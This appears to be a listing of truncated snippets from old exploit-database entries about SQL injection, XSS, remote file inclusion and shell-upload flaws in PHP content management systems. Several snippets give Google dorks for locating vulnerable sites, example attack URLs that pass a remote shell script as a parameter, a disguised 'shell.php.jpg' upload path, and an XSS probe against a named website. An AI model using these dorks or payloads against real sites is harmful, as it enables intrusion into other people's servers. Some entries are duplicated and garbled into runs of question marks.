NPDS CMS REvolution-13 - SQL Injection

Title - NPDS CMS Revolution-13 - SQL Injection Vulnerability Credits & Author: Narendra Bhati R00t Sh3ll www.websecgeeks.com References Source: ==================== http://www.npds.org/viewtopic.php?topic=26233&forum=12 http://websecgeeks.com/npds-cms-sql-injection/ Release Date: =============...

TSOKA:CMS 1.1 & 1.9 & 2.0 - SQL Injection & XSS Vulnerability

No description provided by source. ----------------------------------------------------------------------------------------------------------------------- TSOKA:CMS v1.1 , v1.9 AND v2.0 SQL Injection & XSS Vulnerability http://www.alanzard.com from italy...

MyBlog 1.x Games.PHP ID Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/26987/info MyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying...

Et-Chat 3.07 Privilege Escalation / Shell Upload

Exploit Title: Et-chat 3.07 user id Parameter Remote code execution Exploit Author: MR.XpR Script Download : http://et-chat.ir/up/etchatv307.zip Risk : Normal Platforms : PHP Tested on: 7 , KAli , Vista Date : 2013 -====================- How does : This error occurs due to keep cookies Exploit :...

XoopsCube Shell Upload

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

F2blog Shell Upload

Name: f2blog Remote File Uploader RFU Sh3ll Google Dork: inurl:/plugins/expose4/uploadimg.php Type: PhP Author: MR.XpR Tested On: Linux Backtrack 1.Upload shell ----- Sh3ll.php.jpg 2.load shell ------- http://patch/components/comexpose/expose/img/shell.php.jpg Expamle :...

DDLCMS 2.1 - 'skin' Remote File Inclusion

============================================================== DDLCMS v2.1 skin Remote File Inclusion Vulnerability ============================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ ...

DDL CMS 2.1 Remote File Inclusion

============================================================== DDLCMS v2.1 skin Remote File Inclusion Vulnerability ============================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ ...

29o3 CMS Remote File Inclusion

================================================ 29o3 CMS LibDir Multiple RFI Vulnerability ================================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //...

boutikone-xss.txt

BoutikOne CMS - Cross Site Scripting XSS Vulnerability http://www.boutikone.com/ XSS fOUND BY d3v1l - http://security-sh3ll.com/forum.php Bug :- searchquery=XSS Example :- http://www.un-monde-mystique.com/search.php?lang=1&sort=Ref&searchquery='"alert1337XSS...

maranphpshop-sql.txt

------------------------------------------------------------------------------------------------------------- Maran PHP Shop prodshow.php SQL Injection Vulnerability http://www.maran.pamil-visions.com/maranshop.php...

mcGuestbook v1.2 Remote File Inc.

Author: BLaSTER a.K.a Gokhan Title: mcGuestbook v1.2 Remote File Inc. Download: http://www.hotscripts.com/jump.php?listingid=13439&jumptype=1 Contact: [email protected] ecrire.php ------------------ include "$lang"; RFI ------------------ Exploit Code: -------------------...

YourFreeScreamer 1.0 (serverPath) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ===================================================================== YourFreeScreamer 1.0 serverPath Remote File Inclusion Vulnerability =====================================================================...

flap-rfi.txt

FlaP v.1.0. Beta / RFI CODE BUG2: Example1:http://victim.com/path/login.php?pachtofile=Sh3LL Script Script Download http://scripts.protoplex.ru/scriptsshow/1854.html Cyber-Security...

scally-rfi.txt

Scallywag = Remote File Inclusion Vulnerability Dork:"Powered by Scallywag" Vuln Code ERROR1:skin/dark/template.php ?php include"$path/source/top.txt"; RFI CODE BUG1: Example1:http://victim.com/path/skin/dark/template.php?path=Sh3LL Script ERROR2:skin/gold/template.php ?php...

Scallywag - template.php?path Remote File Inclusion

Scallywag - template.php?path Remote File Inclusion Scallywag = Remote File Inclusion Vulnerability Dork:"Powered by Scallywag" Vuln Code ERROR1:skin/dark/template.php ?php include"$path/source/top.txt"; RFI CODE BUG1:...

libstats-rfi.txt

Libstats 1.0.3 Cyber-warrior.org...

PHPGlossar 0.8 - format_menue Remote File Inclusion

PHPGlossar 0.8 - formatmenue Remote File Inclusion ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...

PHPGlossar 0.8 (format_menue) Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications =================================================================== PHPGlossar 0.8 formatmenue Remote File Inclusion Vulnerabilities =================================================================== ?????????? ???????????????...

lavague-rfi.txt

LaVague 0.3 = Remote File Inclusion Vulnerability Dork:: Vuln Code ERROR1:views/print/printbar.php require $viewspath."/progressbar.php"; BUG1: Example1:http://site.com/path/views/print/printbar.php?viewspath=Sh3LL Script Script Download http://admisource.gouv.fr/frs/?groupid=30&releaseid=145...